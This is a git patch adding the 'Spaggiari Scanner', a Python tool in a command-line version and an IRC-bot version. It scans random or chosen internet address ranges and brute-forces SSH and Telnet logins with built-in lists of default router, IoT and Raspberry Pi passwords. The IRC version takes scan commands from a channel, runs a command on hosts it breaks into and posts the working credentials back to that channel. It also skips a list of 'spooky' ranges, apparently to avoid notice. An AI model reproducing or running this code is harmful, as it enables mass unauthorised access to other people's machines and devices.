From 334bcac258e43914f4d3e7b3a2086c7f0eaafd1f Mon Sep 17 00:00:00 2001 From: acidvegas Date: Fri, 28 Jun 2019 02:29:23 -0400 Subject: [PATCH] Initial commit --- LICENSE | 15 ++ README.md | 65 ++++++ spaggiari/spaggiari.py | 266 +++++++++++++++++++++ spaggiari/spaggiari_irc.py | 464 +++++++++++++++++++++++++++++++++++++ 4 files changed, 810 insertions(+) create mode 100644 LICENSE create mode 100644 README.md create mode 100644 spaggiari/spaggiari.py create mode 100644 spaggiari/spaggiari_irc.py diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..69997e8 --- /dev/null +++ b/LICENSE @@ -0,0 +1,15 @@ +ISC License + +Copyright (c) 2019, acidvegas + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..6445427 --- /dev/null +++ b/README.md @@ -0,0 +1,65 @@ +#####*'sans armes, ni haine, ni violence'* + +###### Requirments + - [Paramiko Library](http://www.paramiko.org/) + +###### Information +Spaggiari scanner comes in 2 versions, a CLI version and an IRC version. + +You must edit the config in the IRC version in order to have the bot connect. + +###### CLI Commands +**Usage:** spaggiari.py [OPTIONS] [SCAN] + +| Option | Description | +| --- | --- | +| -d | enable deep scanning. | +| -f | enable fast scanning. | +| -o \ | save output from scan(s) to file. | + + + +| Scan | Description | +| --- | --- | +| -l \ | scan a list of ip addresses from file. | +| -x | scan random ip addresses. (does not stop) | +| -r \ \ | scan a range of ip addresses. | +| -t \ | scan a target ip address. | + +Deep scanning uses a larger list of combos to bruteforce with. + +###### IRC Commands +| Command | Description | +| --- | --- | +| @random | Scan random ip addresses. | +| @range \ \ | Scan a range of ip addresses. | +| @range \ random | Scan a random range of ip addresses. | +| @status | Check the scanning status on the bot. | +| @stop | Stop all current running scans. | + +*Note:* The can be b or c. The is the ip address range prefix to scan. + +**CLI Examples:** +* `spaggiari.py -r b 192.168` *(Scans the range 192.168.0.0-192.168.255.255)* +* `spaggiari.py -r c 192.168.1` *(Scans the range 192.168.1.0-192.168.1.255)* +* `spaggiari.py -r b random` *(Scans the range ?.?.0.0-?.?.255.255)* +* `spaggiari.py -r c random` *(Scans the range ?.?.?.0-?.?./.255)* + +**IRC Examples:** +* `@range b 192.168` *(Scans the range 192.168.0.0-192.168.255.255)* +* `@range c 192.168.1` *(Scans the range 192.168.1.0-192.168.1.255)* +* `@range b random` *(Scans the range ?.?.0.0-?.?.255.255)* +* `@range c random` *(Scans the range ?.?.?.0-?.?./.255)* + +###### Python Version Notice +All scripts on this github were developed and written to be used with the latest version of Python. + +Check the Python [download page](https://www.python.org/downloads/) for the latest version. + +Running the scripts with same major version and not the same major/minor version can cause errors. + +###### Mirrors +- [acid.vegas](https://acid.vegas/spaggiari) *(main)* +- [SuperNETs](https://git.supernets.org/acidvegas/spaggiari) +- [GitHub](https://github.com/acidvegas/spaggiari) +- [GitLab](https://gitlab.com/acidvegas/spaggiari) diff --git a/spaggiari/spaggiari.py b/spaggiari/spaggiari.py new file mode 100644 index 0000000..7ace113 --- /dev/null +++ b/spaggiari/spaggiari.py @@ -0,0 +1,266 @@ +#!/usr/bin/env python +# Spaggiari Scanner - Developed by acidvegas in Python (https://acid.vegas/spaggiari) + +import argparse +import logging +import os +import random +import re +import socket +import sys +import threading +import time +from collections import OrderedDict + +# Throttle Settings +max_threads = 100 +throttle = 20 +timeout_breaker = 5 +timeout_port = 10 +timeout_ssh = 10 + +# SSH Login Combos +combos = OrderedDict([ + ('root', ('root','toor','admin','changeme','pass','password','1234','12345','123456')), + ('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password')) +]) + +deep_combos = OrderedDict([ + ('root', ('alien','alpine','calvin','kn1TG7psLu','logapp','openelec','pixmet2003','raspberrypi','rasplex','rootme','soho','TANDBERG','trendimsa1.0')), + ('admin', ('aerohive','kn1TG7psLu','TANDBERG')), + ('alien', 'alien'), + ('bitnami', 'bitnami'), + ('cisco', 'cisco'), + ('device', 'apc'), + ('dpn', 'changeme'), + ('HPSupport', 'badg3r5'), + ('lp', 'lp'), + ('master', 'themaster01'), + ('osmc', 'osmc'), + ('pi', 'raspberry'), + ('plexuser', 'rasplex'), + ('sysadmin', 'PASS'), + ('toor', 'logapp'), + ('ubnt', 'ubnt'), + ('user', ('acme','live')), + ('vagrant', 'vagrant'), + ('virl', 'VIRL'), + ('vyos', 'vyos') +]) + +# Excluded IP Ranges +reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255') + +def check_ip(ip): + return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip) + +def check_port(ip, port): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout_port) + try: + code = sock.connect((ip, port)) + except socket.error: + return False + else: + if not code: + return True + else: + return False + finally: + sock.close() + +def check_range(targets): + found = False + for ip in targets: + if found: + break + for bad_range in reserved: + if ip.startswith(bad_range + '.'): + found = True + break + return found + +def ip_range(start_ip, end_ip): + start = list(map(int, start_ip.split('.'))) + end = list(map(int, end_ip.split('.'))) + temp = start + ip_range = [] + ip_range.append(start_ip) + while temp != end: + start[3] += 1 + for i in (3, 2, 1): + if temp[i] == 256: + temp[i] = 0 + temp[i-1] += 1 + ip_range.append('.'.join(map(str, temp))) + random.shuffle(ip_range) + return ip_range + +def random_int(min, max): + return random.randint(min, max) + +def random_ip(): + return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255)) + +def random_scan(): + while True: + ip = (random_ip(),) + if not check_range(ip): + threading.Thread(target=ssh_bruteforce, args=(ip[0],)).start() + while threading.activeCount() >= max_threads: + time.sleep(1) + +def range_scan(ip_range): + for ip in ip_range: + threading.Thread(target=ssh_bruteforce, args=(ip,)).start() + while threading.activeCount() >= max_threads: + time.sleep(1) + while threading.activeCount() >= 2: + time.sleep(1) + +def ssh_bruteforce(ip): + timeouts = 0 + if check_port(ip, 22): + logging.debug('{0} has port 22 open.'.format(ip)) + for username in combos: + passwords = combos[username] + for password in combos[username]: + if timeouts >= timeout_breaker: + break + else: + result = ssh_connect(ip, username, password) + if result == 1: + timeouts += 1 + elif result == 2: + timeouts = timeout_breaker + time.sleep(throttle) + else: + logging.error('{0} does not have port 22 open.'.format(ip)) + +def ssh_connect(hostname, username, password): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + try: + ssh.connect(hostname, 22, username, password, timeout=timeout_ssh) + except socket.timeout: + logging.error('Failed to connect to {0} using {1}:{2} (Timeout)'.format(hostname, username, password)) + return 1 + except Exception as ex: + logging.error('Failed to connect to {0} using {1}:{2} ({3})'.format(hostname, username, password, str(ex))) + return 0 + else: + logging.info('Successful connection to {0} using {1}:{2}'.format(hostname, username, password)) + return 2 + finally: + ssh.close() + +# Main +print(''.rjust(56, '#')) +print('#{0}#'.format(''.center(54))) +print('#{0}#'.format('Spaggiari Scanner'.center(54))) +print('#{0}#'.format('Developed by acidvegas in Python'.center(54))) +print('#{0}#'.format('https://git.supernets.org/acidvegas/spaggiari'.center(54))) +print('#{0}#'.format(''.center(54))) +logger = logging.getLogger() +logger.setLevel(logging.INFO) +stream_handler = logging.StreamHandler(sys.stdout) +stream_handler.setLevel(logging.INFO) +formatter = logging.Formatter('%(asctime)s | %(levelname)8s: %(message)s', '%I:%M:%S') +stream_handler.setFormatter(formatter) +logger.addHandler(stream_handler) +if not sys.version_info.major == 3: + logging.critical('Spaggiari Scanner requires Python version 3 to run!') + sys.exit() +try: + import paramiko +except ImportError: + logging.critical('Failed to import the Paramiko library!') + sys.exit() +else: + paramiko.util.log_to_file(os.devnull) +parser = argparse.ArgumentParser(prog='spaggiari.py', usage='%(prog)s [OPTIONS] [SCAN]') +parser.add_argument('-d', action='store_true', dest='deepscan', help='option: enable deep scanning.') +parser.add_argument('-f', action='store_true', dest='fastscan', help='option: enable fast scanning.') +parser.add_argument('-o', dest='output', help='option: save output from scan(s) to file.', metavar='', type=str) +parser.add_argument('-l', dest='listscan', help='scan a list of ip addresses from file.', metavar='', type=str) +parser.add_argument('-x', action='store_true', dest='randscan', help='scan random ip addresses. (does not stop)') +parser.add_argument('-r', dest='rangescan', help='scan a range of ip addresses.', metavar=('', ''), nargs=2, type=str) +parser.add_argument('-t', dest='targetscan', help='scan a target ip address.', metavar='', type=str) +args = parser.parse_args() +if args.deepscan: + if not args.targetscan: + logging.critical('Deep scanning can only be enabled with a target scan. (-t)') + sys.exit() + elif args.fastscan: + logging.critical('Fast scanning can not be enabled with a deep scan. (-f)') + sys.exit() + else: + combos = combos + deep_combos +elif args.fastscan: + if args.targetscan: + logging.critical('Fast scanning can not be enabled with a target scan.') + combos = {'root':('root',) } +if args.output: + file_handler = logging.FileHandler(args.output) + file_handler.setLevel(logging.DEBUG) + file_handler.setFormatter(formatter) + logger.addHandler(file_handler) + logger.debug('Logging enabled.') +if args.listscan: + if os.path.isfile(args.listscan): + targets = [] + with open(args.listscan) as list_file: + lines = list_file.read().splitlines() + for line in [x for x in lines if x]: + if check_ip(line): + targets.append(line) + if targets: + if not check_range(targets): + logging.debug('Scanning {0:,} IP addresses from list...'.format(len(targets))) + range_scan(targets) + logging.debug('Scan has completed.') + else: + logging.error('Reserved IP address in range.') + else: + logging.error('List contains no valid IP addresses.') + else: + logging.error('Invalid list file. ({0})'.format(args.listscan)) +elif args.randscan: + logging.debug('Scanning random IP addresses...') + random_scan() +elif args.rangescan: + if args.rangescan[0] in ('b','c'): + if args.rangescan[0] == 'b': + if args.iprange == 'random': + range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255)) + else: + range_prefix = args.rangescan[1] + start = range_prefix + '.0.0' + end = range_prefix + '.255.255' + elif args.rangescan[0] == 'c': + if args.iprange == 'random': + range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255)) + else: + range_prefix = args.rangescan[1] + start = range_prefix + '.0' + end = range_prefix + '.255' + if check_ip(start): + targets = ip_range(start, end) + if not check_range(targets): + logging.debug('Scanning {0} IP addresses in range...'.format(len(targets))) + range_scan(targets) + logging.debug('Scan has completed.') + else: + logging.error('Reserved IP address in range.') + else: + logging.error('Invalid IP range prefix. ({0})'.format(args.rangescan[1])) + else: + logging.error('Invalid IP Class. ({0})'.format(args.rangescan[0])) +elif args.targetscan: + if check_ip(args.targetscan): + ssh_bruteforce(args.targetscan) + logging.debug('Scan has completed.') + else: + logging.error('Invalid IP Address. ({0})'.format(args.targetscan)) +else: + parser.print_help() diff --git a/spaggiari/spaggiari_irc.py b/spaggiari/spaggiari_irc.py new file mode 100644 index 0000000..48b5357 --- /dev/null +++ b/spaggiari/spaggiari_irc.py @@ -0,0 +1,464 @@ +#!/usr/bin/env python +# Spaggiari Scanner (IRC Bot Version) - Developed by acidvegas in Python (https://acid.vegas/spaggiari) + +import ipaddress +import os +import random +import re +import socket +import ssl +import sys +import telnetlib +import threading +import time +from collections import OrderedDict + +# IRC Config +server = 'irc.supernets.org' +port = 6667 +use_ipv6 = False +use_ssl = False +password = None +channel = '#dev' +key = None +admin_host = 'ak@super.nets' + +# Throttle Settings +max_threads = 120 # Maximum number of threads. +throttle = 0 # Delway between each combo attempt. +timeout_breaker = 3 # How many timeouts until host is given up on. +timeout = 3 # Timeout for all sockets. + +# Bruteforce Combos +ssh_combos = OrderedDict([ + ('root', ('root','toor','admin','changeme','pass','password','1234','12345','123456')), + ('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password')) +]) + +telnet_combos = OrderedDict([ + ('666666', ('666666',)), + ('888888', ('888888',)), + ('admin', (None, '1111', '1111111', '1234', '12345', '123456', '54321', '7ujMko0admin', 'admin', 'admin1234', 'meinsm', 'pass', 'password', 'smcadmin')), + ('admin1', ('password',)), + ('administrator', ('1234',)), + ('Administrator', ('admin',)), + ('guest', ('12345', 'guest')), + ('mother', ('fucker',)), + ('root', (None, '00000000', '1111', '1234', '12345', '123456', '54321', '666666', '7ujMko0admin', '7ujMko0vizxv', '888888', 'admin', 'anko', 'default', 'dreambox', 'hi3518', 'ikwb', 'juantech', 'jvbzd', 'klv123', 'klv1234', 'pass', 'password', 'realtek', 'root', 'system', 'user', 'vizxv', 'xc3511', 'xmhdipc', 'zlxx.', 'Zte521')), + ('service', ('service',)), + ('supervisor', ('supervisor',)), + ('support', ('support',)), + ('tech', ('tech',)), + ('ubnt', ('ubnt',)), + ('user', ('user',)) +]) + +# Important Ranges (DO NOT EDIT) +spooky = ('11','21','22','24','25','26','29','49','50','55','62','64','128','129','130','131','132','134','136','137','138','139','140','143','144','146','147','148','150','152','153','155','156','157','158','159','161','162','163','164','167','168','169','194','195','199','203','204','205','207','208','209','212','213','216','217','6','7') +reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255') + +# Formatting Control Characters / Color Codes +bold = '\x02' +italic = '\x1D' +underline = '\x1F' +reverse = '\x16' +reset = '\x0f' +white = '00' +black = '01' +blue = '02' +green = '03' +red = '04' +brown = '05' +purple = '06' +orange = '07' +yellow = '08' +light_green = '09' +cyan = '10' +light_cyan = '11' +light_blue = '12' +pink = '13' +grey = '14' +light_grey = '15' + +# Debug Functions +def debug(msg): + print('{0} | [~] - {1}'.format(get_time(), msg)) + +def error(msg, reason=None): + if reason: + print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason))) + else: + print('{0} | [!] - {1}'.format(get_time(), msg)) + +def error_exit(msg): + raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg)) + +def get_time(): + return time.strftime('%I:%M:%S') + + + +# Functions +def check_ip(ip): + return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip) + +def check_port(ip, port): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + try: + code = sock.connect((ip, port)) + except socket.error: + return False + else: + if not code: + return True + else: + return False + finally: + sock.close() + +def check_range(targets): + found = False + for ip in targets: + if found: + break + for bad_range in spooky + reserved: + if ip.startswith(bad_range + '.'): + found = True + break + return found + +def color(msg, foreground, background=None): + if background: + return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset) + else: + return '\x03{0}{1}{2}'.format(foreground, msg, reset) + +def ip_range(network): + return ipaddress.ip_network(network) + +def random_ip(): + return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255)) + +def random_int(min, max): + return random.randint(min, max) + +def random_str(size): + return ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(size)) + + + +# Scan Functions +class random_scan(threading.Thread): + def __init__(self): + threading.Thread.__init__(self) + def run(self): + while True: + if Spaggiari.stop_scan: + break + else: + ip = (random_ip(), ) + if not check_range(ip): + ssh_bruteforce(ip[0]).start() + while threading.activeCount() >= max_threads: + time.sleep(1) + +class range_scan(threading.Thread): + def __init__(self, ip_range): + self.ip_range = ip_range + threading.Thread.__init__(self) + def run(self): + for ip in self.ip_range: + if Spaggiari.stop_scan: + break + else: + ssh_bruteforce(ip).start() + self.ip_range.remove(ip) + while threading.activeCount() >= max_threads: + time.sleep(1) + while threading.activeCount() >= 2: + time.sleep(1) + Spaggiari.scanning = False + Spaggiari.sendmsg(channel, '[{0}] - Scan has completed.'.format(color('#', blue))) + +class ssh_bruteforce(threading.Thread): + def __init__(self, ip): + self.ip = ip + self.timeouts = 0 + threading.Thread.__init__(self) + def run(self): + if check_port(self.ip, 22): + for username in ssh_combos: + for password in ssh_combos[username]: + if Spaggiari.stop_scan or self.timeouts >= timeout_breaker: + break + else: + result = ssh_connect(self.ip, username, password) + if result == 1: + self.timeouts += 1 + elif result == 2: + self.timeouts = timeout_breaker + time.sleep(throttle) + +class telnet_bruteforce(threading.Thread): + def __init__(self, ip): + self.ip = ip + self.timeouts = 0 + threading.Thread.__init__(self) + def run(self): + if check_port(self.ip, 23): + for username in telnet_combos: + for password in telnet_combos[username]: + if Spaggiari.stop_scan or self.timeouts >= timeout_breaker: + break + else: + result = telnet_connect(self.ip, username, password) + if result == 1: + self.timeouts += 1 + elif result == 2: + self.timeouts = timeout_breaker + time.sleep(throttle) + +def ssh_connect(hostname, username, password): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + try: + ssh.connect(hostname, 22, username, password, timeout=timeout) + stdin,stdout,stderr = ssh.exec_command('echo lol') + for line in stdout.readlines(): + if 'ogin:' in line: + raise Exception('Invalid') + else: + Spaggiari.sendmsg(channel, line) + except socket.timeout: + return 1 + except: + return 0 + else: + Spaggiari.sendmsg(channel, '[{0}] - Successful SSH connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password)) + return 2 + finally: + ssh.close() + +def telnet_connect(hostname, username, password): + try: + tn = telnetlib.Telnet(hostname, 23, timeout) +# time.sleep(1) +# print(tn.read_some()) + tn.read_until((b':' or b'>' or b'$' or b'@')) + tn.write(username.encode() + b'\n') + tn.read_until((b':' or b'>' or b'$' or b'@')) + tn.write(password.encode() + b'\n') + tn.read_all() + tn.close() + except socket.timeout: + return 1 + except: + return 0 + else: + Spaggiari.sendmsg(channel, '[{0}] - Successful Telnet connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password)) + return 2 + + + +# IRC Bot Object +class IRC(object): + def __init__(self): + self.server = server + self.port = port + self.use_ipv6 = use_ipv6 + self.use_ssl = use_ssl + self.password = password + self.channel = channel + self.key = key + self.nickname = 'spag-' + random_str(5) + self.scanning = False + self.stop_scan = False + self.sock = None + + def start(self): + self.connect() + + def action(self, chan, msg): + self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg)) + + def connect(self): + try: + self.create_socket() + self.sock.connect((self.server, self.port)) + if self.password: + self.raw('PASS ' + self.password) + self.raw(f'USER {random_str(5)} 0 * :{random_str(5)}') + self.nick(self.nickname) + except Exception as ex: + error('Failed to connect to IRC server.', ex) + self.event_disconnect() + else: + self.listen() + + def create_socket(self): + family = socket.AF_INET6 if self.use_ipv6 else socket.AF_INET + self.sock = socket.socket(family, socket.SOCK_STREAM) + if self.use_ssl: + self.sock = ssl.wrap_socket(self.sock) + + def error(self, chan, msg, reason=None): + if reason: + self.sendmsg(chan, '[{0}] {1} {2}'.format(color('ERROR', red), msg, color('({0})'.format(str(reason)), grey))) + else: + self.sendmsg(chan, '[{0}] {1}'.format(color('ERROR', red), msg)) + + def event_connect(self): + self.join(self.channel, self.key) + + def event_disconnect(self): + self.sock.close() + self.stop_scan = True + while threading.activeCount() >= 3: + time.sleep(1) + self.scanning = False + self.stop_scan = False + time.sleep(10) + self.connect() + + def event_kick(self, nick, chan, kicked, reason): + if kicked == self.nickname and chan == self.channel: + self.join(chan, self.key) + + def event_message(self, nick, host, chan, msg): + #if host == admin_host: + args = msg.split() + cmd = msg.split()[0][1:] + if cmd == 'random': + if not self.scanning: + self.sendmsg(chan, '[{0}] - Scanning random IP addresses...'.format(color('#', blue))) + self.scanning = True + random_scan().start() + else: + self.error(chan, 'A scan is already running.') + elif cmd == 'status': + if self.scanning: + self.sendmsg(chan, 'Scanning: ' + color('True', green)) + else: + self.sendmsg(chan, 'Scanning: ' + color('False', red)) + elif cmd == 'stop': + if self.scanning: + self.stop_scan = True + while threading.activeCount() >= 2: + time.sleep(1) + self.action(chan, 'Stopped all running scans.') + self.scanning = False + self.stop_scan = False + elif cmd == 'range': + if not self.scanning: + if args[1] in ('b','c'): + if args[1] == 'b': + if args[2] == 'random': + range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255)) + else: + range_prefix = args[2] + start = range_prefix + '.0.0' + end = range_prefix + '.255.255' + elif args[1] == 'c': + if args[2] == 'random': + range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255)) + else: + range_prefix = args[2] + start = range_prefix + '.0' + end = range_prefix + '.255' + if check_ip(start) and check_ip(end): + targets = ip_range(start, end) + if not check_range(targets): + self.sendmsg(chan, '[{0}] - Scanning {1} IP addresses in range...'.format(color('#', blue), '{:,}'.format(len(targets)))) + self.scanning = True + range_scan(targets).start() + else: + self.error(chan, 'Spooky/Reserved IP address range.') + else: + self.error(chan, 'Invalid IP address range.') + else: + self.error(chan, 'Invalid arguments.') + else: + self.error(chan, 'A scan is already running.') + + def event_nick_in_use(self): + self.nickname = 'spag-' + random_str(5) + self.nick(self.nickname) + + def handle_events(self, data): + args = data.split() + if args[0] == 'PING': + self.raw('PONG ' + args[1][1:]) + elif args[1] == '001': + self.event_connect() + elif args[1] == '433': + self.event_nick_in_use() + if args[1] == 'KICK': + nick = args[0].split('!')[0][1:] + chan = args[2] + kicked = args[3] + self.event_kick(nick, chan, kicked) + elif args[1] == 'PRIVMSG': + nick = args[0].split('!')[0][1:] + if nick != self.nickname: + host = args[0].split('!')[1].split('@')[1] + chan = args[2] + if chan == self.channel: + msg = ' '.join(args[3:])[1:] + self.event_message(nick, host, chan, msg) + + def join(self, chan, key=None): + if key: + self.raw(f'JOIN {chan} {key}') + else: + self.raw('JOIN ' + chan) + + def listen(self): + while True: + try: + data = self.sock.recv(1024).decode('utf-8') + if data: + for line in (line for line in data.split('\r\n') if line): + debug(line) + if len(line.split()) >= 2: + if line.startswith('ERROR :Closing Link:'): + raise Exception('Connection has closed.') + else: + self.handle_events(line) + else: + error('No data recieved from server.') + break + except (UnicodeDecodeError,UnicodeEncodeError): + pass + except Exception as ex: + error('Unexpected error occured.', ex) + break + self.event_disconnect() + + def nick(self, nick): + self.raw('NICK ' + nick) + + def raw(self, msg): + self.sock.send(bytes(msg + '\r\n', 'utf-8')) + + def sendmsg(self, target, msg): + self.raw(f'PRIVMSG {target} :{msg}') + +# Main +print(''.rjust(56, '#')) +print('#{0}#'.format(''.center(54))) +print('#{0}#'.format('Spaggiari Scanner'.center(54))) +print('#{0}#'.format('Developed by acidvegas in Python 3'.center(54))) +print('#{0}#'.format('https://github.com/acidvegas/spaggiari'.center(54))) +print('#{0}#'.format(''.center(54))) +print(''.rjust(56, '#')) +if not sys.version_info.major == 3: + error_exit('Spaggiari Scanner requires Python version 3 to run!') +try: + import paramiko +except ImportError: + error_exit('Failed to import the Paramiko library!') +else: + paramiko.util.log_to_file(os.devnull) +Spaggiari = IRC() +Spaggiari.start()